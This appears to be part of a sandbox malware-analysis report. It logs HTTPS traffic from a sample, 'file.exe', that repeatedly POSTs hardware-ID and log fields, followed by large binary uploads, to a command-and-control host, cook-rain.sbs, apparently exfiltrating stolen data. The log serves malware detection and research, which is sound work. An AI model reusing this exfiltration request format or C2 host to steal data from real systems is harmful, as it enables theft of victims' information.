2024-11-20 02:20:38 UTC	12840	OUT	Data Raw: 2d 2d 4e 30 57 31 4a 57 43 36 47 44 46 5a 52 52 41 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 34 30 35 34 46 46 41 33 32 44 41 37 36 36 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 4e 30 57 31 4a 57 43 36 47 44 46 5a 52 52 41 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 30 57 31 4a 57 43 36 47 44 46 5a 52 52 41 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --N0W1JWC6GDFZRRARContent-Disposition: form-data; name="hwid"44054FFA32DA766763CFCF7E6C45F838--N0W1JWC6GDFZRRARContent-Disposition: form-data; name="pid"2--N0W1JWC6GDFZRRARContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-20 02:20:38 UTC	987	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:20:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u8epiatuvu9nslq9gpu1dart21; expires=Sat, 15-Mar-2025 20:07:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MJT%2BVH54LgkHB1AWbbXE%2F10l1Ap1cE2CrxB%2BKUxRsMZnVlNWlPX3EYHwZuYtDRF38g2C0cq95SjTPMpeRD3%2BbSf5QaIRaRiz1y8eJ06HIhVLg0eKumlNLJ01SAwj3%2B84"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e54f6441bcbc347-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1821&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13775&delivery_rate=1073134&cwnd=180&unsent_bytes=0&cid=26cee3683b010355&ts=641&x=0"
2024-11-20 02:20:38 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 02:20:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49710	188.114.96.3	443	6148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:20:39 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DZWYCYTU6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15027 Host: cook-rain.sbs
2024-11-20 02:20:39 UTC	15027	OUT	Data Raw: 2d 2d 44 5a 57 59 43 59 54 55 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 34 30 35 34 46 46 41 33 32 44 41 37 36 36 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 44 5a 57 59 43 59 54 55 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 5a 57 59 43 59 54 55 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 44 5a 57 59 43 59 54 55 36 0d 0a 43 6f 6e 74 65 6e Data Ascii: --DZWYCYTU6Content-Disposition: form-data; name="hwid"44054FFA32DA766763CFCF7E6C45F838--DZWYCYTU6Content-Disposition: form-data; name="pid"2--DZWYCYTU6Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--DZWYCYTU6Conten
2024-11-20 02:20:40 UTC	985	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:20:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q49v4ot3enmi1bag27i82588qn; expires=Sat, 15-Mar-2025 20:07:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0NU9ETkB60bvrI%2FTEiaLlaoJo%2F7WXhS2IIeLz4Bod6Hrkwd37ss%2BQFOFzHKMMK0NbsUDhGUKDmYWGxj4KV6UlS0DTYO39bY4VM5EQHrFl0Ps4KtP6zXamGybQR%2B61XAz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e54f64e2a517285-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1821&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2828&recv_bytes=15955&delivery_rate=1517671&cwnd=249&unsent_bytes=0&cid=b68aeaa0750eff54&ts=617&x=0"
2024-11-20 02:20:40 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 02:20:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49711	188.114.96.3	443	6148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:20:41 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ISG45XQE7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20194 Host: cook-rain.sbs
2024-11-20 02:20:41 UTC	15331	OUT	Data Raw: 2d 2d 49 53 47 34 35 58 51 45 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 34 30 35 34 46 46 41 33 32 44 41 37 36 36 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 49 53 47 34 35 58 51 45 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 49 53 47 34 35 58 51 45 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 49 53 47 34 35 58 51 45 37 0d 0a 43 6f 6e 74 65 6e Data Ascii: --ISG45XQE7Content-Disposition: form-data; name="hwid"44054FFA32DA766763CFCF7E6C45F838--ISG45XQE7Content-Disposition: form-data; name="pid"3--ISG45XQE7Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--ISG45XQE7Conten
2024-11-20 02:20:41 UTC	4863	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 61 38 3a 2c f5 fd 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 e7 86 a3 c3 52 Data Ascii: >7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,0R
2024-11-20 02:20:42 UTC	988	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:20:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gnupinqjdrjsb5na5u7ckaguq8; expires=Sat, 15-Mar-2025 20:07:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7JU7rGlrPantGvmsrOjPAHuxTELMi80ty45LD77tHYPY2WruZUXV%2FBNj78ZjprVZSq8rryhP2oY%2B7hylv9XQTjyAqNWxQs3ocOlO%2BDHx9%2BToMfFyCl%2BNYDlCfqKHTqkb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e54f657984943bc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1584&sent=10&recv=25&lost=0&retrans=0&sent_bytes=2828&recv_bytes=21144&delivery_rate=1743283&cwnd=205&unsent_bytes=0&cid=e99ca255f68a57dd&ts=905&x=0"
2024-11-20 02:20:42 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 02:20:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49712	188.114.96.3	443	6148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:20:43 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9846UAXNWXGZ2I2YOH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1239 Host: cook-rain.sbs
2024-11-20 02:20:43 UTC	1239	OUT	Data Raw: 2d 2d 39 38 34 36 55 41 58 4e 57 58 47 5a 32 49 32 59 4f 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 34 30 35 34 46 46 41 33 32 44 41 37 36 36 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 39 38 34 36 55 41 58 4e 57 58 47 5a 32 49 32 59 4f 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 38 34 36 55 41 58 4e 57 58 47 5a 32 49 32 59 4f 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --9846UAXNWXGZ2I2YOHContent-Disposition: form-data; name="hwid"44054FFA32DA766763CFCF7E6C45F838--9846UAXNWXGZ2I2YOHContent-Disposition: form-data; name="pid"1--9846UAXNWXGZ2I2YOHContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-20 02:20:43 UTC	987	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:20:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lo11pqkvhtplb27at775gikkhq; expires=Sat, 15-Mar-2025 20:07:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IB6PzQLil95l%2B6X9DZ%2FdKhEezY15Q2PJn5eLQFKICkOga3bRK5Pihz94KqBL0oC0A5QdDqP9AIq%2F%2BfC%2FYuzd27WeP5CKRNyNJq6cUv4y54DkuvyhyBVk6%2F99OCzA0FTw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e54f6637879429d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1834&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2153&delivery_rate=1623123&cwnd=245&unsent_bytes=0&cid=4b460d854ac3a007&ts=434&x=0"
2024-11-20 02:20:43 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 02:20:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49713	188.114.96.3	443	6148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:20:44 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=46B2SHX7LYNY4V User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569421 Host: cook-rain.sbs
2024-11-20 02:20:44 UTC	15331	OUT	Data Raw: 2d 2d 34 36 42 32 53 48 58 37 4c 59 4e 59 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 34 30 35 34 46 46 41 33 32 44 41 37 36 36 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 34 36 42 32 53 48 58 37 4c 59 4e 59 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 36 42 32 53 48 58 37 4c 59 4e 59 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 34 36 Data Ascii: --46B2SHX7LYNY4VContent-Disposition: form-data; name="hwid"44054FFA32DA766763CFCF7E6C45F838--46B2SHX7LYNY4VContent-Disposition: form-data; name="pid"1--46B2SHX7LYNY4VContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--46
2024-11-20 02:20:44 UTC	15331	OUT	Data Raw: 05 b5 a8 cc ea 58 13 d9 04 ee 86 8e 9e 32 c3 69 a9 c6 c2 87 d0 43 1f 1b c5 0a 49 21 e9 6c f8 17 90 e9 b7 de 5b 7a 05 d0 1a 9c 13 25 0f c0 fa da 7d d1 72 8c 7a 14 e1 c0 a2 93 1c fa fc 5b a7 16 99 9e 9c 59 f4 3c 25 01 9a 78 af 44 5b 53 58 b3 de 47 6f 1d 49 34 19 25 74 ba 95 40 1d 42 39 de 0e 02 c0 6f 3c c3 d1 ed 98 d6 b1 a3 4c 6e 47 2f 3d 44 ef bb 37 79 76 85 21 72 6a a8 3e d4 06 7f a2 c7 f5 1c 08 07 91 92 e0 42 7b 73 4e 41 2b ba f3 21 dc 25 38 86 98 68 37 11 c6 c2 90 02 cb 52 71 b1 cb 9f 8a 85 e3 45 f0 7a 4e ba 9b 89 9b 99 09 ab 0e db 7e 5c 56 76 11 96 c5 6e 5c 93 d3 4a 83 f9 28 df f3 0f ea 65 3c a0 bd 1b 47 37 65 66 44 90 b1 91 53 55 92 d8 35 8b 66 65 aa d2 f0 d0 bb 41 9b 31 46 62 7b 22 db 3b fd af 45 27 73 3a 1f 5b 1f 9d 24 4c 31 c4 f0 41 5d d8 58 b1 bb Data Ascii: X2iCI!l[z%}rz[Y<%xD[SXGoI4%t@B9o<LnG/=D7yv!rj>B{sNA+!%8h7RqEzN~\Vvn\J(e<G7efDSU5feA1Fb{";E's:[$L1A]X
2024-11-20 02:20:44 UTC	15331	OUT	Data Raw: c2 a6 83 5e ae 40 0c f5 ed 60 ce 4f 25 2c 29 e5 28 bd 74 25 59 87 6b cb ca fa 49 8a 5f 43 98 e7 73 45 4c d4 bd b7 17 ff b5 88 5d 3f 39 ff fe 50 e3 2c b9 29 01 db f2 1e a4 4b 86 13 7b 44 27 b5 3f b9 29 3f 69 a8 ec 31 6e 38 6c 54 00 5b 43 4a 75 52 f5 2a a3 8c 0b 98 88 60 fe 99 4f e3 1b a2 2d ef a9 19 1e a0 4c 07 73 70 24 d7 fa ab 79 d8 e7 81 18 18 59 a5 db f4 72 bf 60 a2 68 08 21 6d 30 69 0a e9 fa a9 c7 47 be 28 b9 f9 d3 a4 1c ba e7 35 28 73 a7 8f fb f9 1f 11 33 ca a1 e5 44 4f d3 bc 73 75 7e 6f 73 43 3a ea b2 6f 6c 59 e4 6f 83 c4 1e ec bd 3b ca f3 1e 75 f3 6c cb 28 a0 49 0d 72 dc d8 cb 19 bc 81 ff 9e 83 60 53 c7 d5 0b 58 48 dd 1c f8 f6 53 f5 22 0e d6 fb b1 7a 2c e0 7d 9e db 40 90 8e a6 6f 76 ea 8d 3f 01 7d 88 3c 8a 62 7f 11 30 16 ad 6d 3a fc 72 c6 44 63 ba Data Ascii: ^@`O%,)(t%YkI_CsEL]?9P,)K{D'?)?i1n8lT[CJuR*`O-Lsp$yYr`h!m0iG(5(s3DOsu~osC:olYo;ul(Ir`SXHS"z,}@ov?}<b0m:rDc
2024-11-20 02:20:44 UTC	15331	OUT	Data Raw: 1e 71 95 4f c1 7a b1 a9 51 67 78 d5 57 6c 33 6f f3 c6 9c ea 5e f7 4e 06 f0 0e 68 7d 03 c9 ab 8f af c9 32 7f 3b 86 68 31 f2 a7 59 5d bc 2f c7 73 45 a7 22 63 33 c5 cf 92 73 ff 71 a5 70 8c 0e fd be c1 e6 1c 6c 3f ce bf 78 9b ed c2 28 47 a7 bd 5d 7d f5 81 c7 ae 7b fd f5 b8 f9 d3 3e f2 64 37 57 fe 71 54 2e 7f ae ab 97 ab 8e 02 79 af 80 e1 17 b6 61 ce dc 22 6f 7e c2 fc e3 db 8b df 2d e9 fb 61 0c b1 4b 82 dc bb d6 14 6b 39 70 5d 1e 7e 5b 0a 74 84 04 46 60 69 8a 1b 7d c2 c0 59 00 de 15 69 e8 6b 20 1f d3 aa 0b fc 51 18 f8 df f5 8b 2e 4b c3 cf 64 16 c9 62 76 01 05 75 e4 9c 04 78 68 ce 38 e3 45 2c c4 3a 0c c7 5d 97 22 16 9c 4b b3 02 b4 cc 0a 60 2d 0f 7a 2b 79 0f 21 e1 88 c2 1d 58 2a 04 b4 3b 9a 6c 47 fd 3c d4 8d 0b 28 15 29 30 53 13 53 2f b3 51 81 a5 01 1e ed 6d 3c Data Ascii: qOzQgxWl3o^Nh}2;h1Y]/sE"c3sqpl?x(G]}{>d7WqT.ya"o~-aKk9p]~[tF`i}Yik Q.Kdbvuxh8E,:]"K`-z+y!X*;lG<()0SS/Qm<
2024-11-20 02:20:44 UTC	15331	OUT	Data Raw: 8e 01 cf 99 ef 49 fc df 1b 84 a7 b4 c7 ea fd 91 bd e2 a9 58 10 a7 81 2d c5 cb 73 be 87 53 82 31 07 07 8b d5 70 33 7c a7 fa 0b 57 41 9d 2b 8d 58 af fc 23 92 ff cf 5e d7 ad 51 2f cf f7 b7 4f 8a 59 25 94 3f 27 a5 96 7b a6 ac cc 98 aa 32 7a f7 f9 c2 88 cf 15 8e 64 45 9c 5d 68 d0 23 a6 ac 9f 1d 78 47 0e c6 ce cc 11 a4 a2 c7 3f 50 c4 16 d5 c0 ae 9e 6f 16 69 c8 15 d3 a9 49 e4 65 09 83 5b 98 b2 25 82 fd 58 dd 0c bc e7 11 b9 6a fe 6d d1 be 7e 43 01 44 bc f2 df af 29 f9 06 3a ee 31 46 b3 a9 14 3b 1f 9e 0b 2b cf 2a a2 f2 80 b3 fc cd 10 a9 bc 2a e0 13 6d 7d 89 75 9a 61 5d 54 88 4d 5b 85 7a b9 cb 64 6e f4 15 29 b7 c4 03 87 be 85 47 69 c2 bc 22 f5 7b aa e4 d5 57 1c 36 9e 07 9a 04 8c 57 e6 69 23 d7 4a 62 bb e0 8c 63 0d d6 91 b7 ed 08 82 70 7e b9 55 80 6b c8 0d 81 5d eb Data Ascii: IX-sS1p3\|WA+X#^Q/OY%?'{2zdE]h#xG?PoiIe[%Xjm~CD):1F;+**m}ua]TM[zdn)Gi"{W6Wi#Jbcp~Uk]
2024-11-20 02:20:44 UTC	15331	OUT	Data Raw: ae 81 d2 8a 1d a2 68 76 0c bb 39 ea 20 6c e2 8f d1 17 38 80 43 78 51 ee 6b 07 04 83 77 bb 13 04 4e 21 cc e5 f8 49 d8 f0 a4 18 79 58 7f 60 1b 98 1d 57 c6 d2 ce 48 4a fe 23 4f 2c 12 23 9f c4 e3 83 fb a4 5c b0 9b ae 55 60 0a 88 54 74 bf 43 b7 5d 9e d5 b5 93 45 42 5b ee 2d 75 fa 20 1d e9 54 a7 c6 1e 91 da 05 38 52 98 33 44 2f 8b 61 f6 8e a8 df 6a 69 d8 90 d8 eb a5 97 fb 7d 77 fc b8 41 29 01 9a 72 5b 39 1d fa 14 2d 3e 58 76 60 66 4d 64 f8 6b 20 cc d3 96 6c fa 11 aa 15 66 30 6e 43 0c 1b 55 ff 9a c8 a5 9a e6 ab ca 6f a9 a1 f7 cb cf 6a 6d fd 5c cb ed 8b 3f cb 96 b5 fa 7c f3 b6 4a 70 f7 a2 f0 c7 83 e7 64 eb 86 6b ee 90 0e 5e 47 5f ad 52 50 2f 56 b5 d4 f4 13 51 1f 63 d9 0b 3d 7f 47 9f ee d3 e0 68 7c 2e 8c 23 4e f3 be df c6 6d d9 ba ee c4 fc e4 81 97 7b 0a 65 33 c4 Data Ascii: hv9 l8CxQkwN!IyX`WHJ#O,#\U`TtC]EB[-u T8R3D/aji}wA)r[9->Xv`fMdk lf0nCUojm\?\|Jpdk^G_RP/VQc=Gh\|.#Nm{e3
2024-11-20 02:20:44 UTC	15331	OUT	Data Raw: 80 c3 ad 52 ed 24 6d 4c 1c e7 96 89 2e 52 03 1b f8 a3 95 11 ee aa 9d ce b1 ec 79 1b 5e 53 29 ff 1f 36 8b 13 a2 4c 98 f5 1c 08 bd f6 e0 bf 94 40 14 fb 1b c4 10 17 06 14 61 f6 0a 7a bd 18 a2 e7 54 ba ad 6f 14 57 5b 9c 56 94 da 39 6b 00 44 f4 d0 01 fa 14 47 50 b0 f5 79 bf 23 a1 e7 4b 78 6a 4c 75 70 a7 cc d6 43 ea 9f 4f 39 ea 9f 71 59 39 73 bf 97 26 26 37 f4 ef 61 e5 d8 c4 35 5c 05 5e 10 c2 8c 70 bc 5f ee b5 d8 f9 44 39 d4 30 51 58 35 78 09 fd ec 76 c7 27 9a f0 8f c7 3a df 0e 0e 34 91 a5 12 66 ff 16 3e f4 af 7c 74 b1 e2 b9 d2 e0 0e b1 ac f5 66 93 d4 81 00 a1 29 05 83 b9 c0 cb af 2f d7 b5 e5 bd 9a 7b f5 0d 1b 6d 30 7f 74 79 4c a5 73 87 4e 0f 7b 24 58 1c 93 e3 b6 84 90 13 bd fc 6b d9 1f 2b 34 3a 2b f9 65 ed 39 66 6f 1c 61 27 fe 90 a6 d9 9b c5 c1 87 d7 e3 68 dc Data Ascii: R$mL.Ry^S)6L@azToW[V9kDGPy#KxjLupCO9qY9s&&7a5\^p_D90QX5xv':4f>\|tf)/{m0tyLsN{$Xk+4:+e9foa'h
2024-11-20 02:20:44 UTC	15331	OUT	Data Raw: f6 7c 9e 9e 93 14 a9 33 22 7a 38 b9 7f ea 6d fe 24 99 d8 f0 cf d6 9a 4f b4 c7 f2 3d 5f 20 af 6a 37 b1 e5 a0 b2 ee cf cb 0f ee 3e 3d fa ff 61 ea bf e3 9a 4a fe b0 7f 78 4e 0a 09 35 a1 23 2d 01 2c a8 34 0b 48 4f 28 0a 56 b0 82 d2 82 a8 a0 14 83 f4 9a 43 13 56 69 bb ae 82 0a 02 a2 82 52 15 41 40 4a 00 05 76 45 8a 54 91 12 8a f4 2a 9d 40 f2 1c f7 7b df bf fb f9 27 80 fa 0a c8 99 99 cf 75 bd af 99 cf 80 e4 08 b8 fd bb 94 7e 27 a0 1b 13 e9 4f 20 da 24 47 0b 00 76 1c f8 70 13 80 06 2c 70 95 9f fb 09 c8 0a 88 6f 2b 24 8d 93 01 ed e2 17 7a d6 d8 d0 22 8c 10 28 6f 34 1c cb 1e 7b 5e e3 b6 35 8b e1 ba 89 59 8f a3 7d ef 6f 5f 01 c9 fb f9 26 31 10 2f 10 47 dc 95 8a e6 e6 13 7c a1 bd d5 51 b8 5d 73 98 e9 22 fc ac fa 95 08 e0 61 4a de a7 b0 50 a3 d2 10 cd 9a bb 8c 76 2f Data Ascii: \|3"z8m$O=_ j7>=aJxN5#-,4HO(VCViRA@JvET*@{'u~'O $Gvp,po+$z"(o4{^5Y}o_&1/G\|Q]s"aJPv/
2024-11-20 02:20:44 UTC	15331	OUT	Data Raw: 1a d5 c7 b7 86 52 12 2d 52 43 b5 24 9a cc 35 9e 57 67 e2 fa 9f 22 0c 1e da 7d fc 81 7a 18 29 5d 7e 84 79 05 f5 97 2b ee cc 82 06 42 bf 16 a2 35 4b 80 eb 56 77 7d d8 10 0a d3 8a 8c dd 3c a6 1b 34 d6 44 f1 41 0f e3 95 5d 10 4a ef ff ac 35 c1 ac 3e b6 f3 7a 8c 9f 17 cf ef ad 2f 5b 3d 3b 05 8e 90 9d 3e 83 48 4c 44 cd 5e 65 cf 41 db 36 9c 33 d7 51 88 5c f0 5d 36 76 fa ad c1 bc 80 06 81 65 91 59 99 c2 75 76 06 e7 7a ce b3 fd bf b4 35 6c 84 96 bd 72 40 19 e5 d7 f0 e2 1d 4f 8f 6f 08 83 5b fb e9 fc cb c5 11 4c 45 be 3e 14 9c 3c 8b db 0b 76 2e 9c a7 e2 d7 a3 9d b6 9d b8 e7 26 17 94 40 6e 38 ac c2 fb ba ee 4f 49 05 f2 53 58 93 af 69 5d 95 29 af 20 97 91 e6 3e de 29 e1 d0 bc a4 24 d5 11 e4 3b 90 a6 05 5c 1f e3 0d bb 43 ef ba f3 fc ef c1 bf 52 62 3e 30 a8 fb af 49 36 Data Ascii: R-RC$5Wg"}z)]~y+B5KVw}<4DA]J5>z/[=;>HLD^eA63Q\]6veYuvz5lr@Oo[LE><v.&@n8OISXi]) >)$;\CRb>0I6
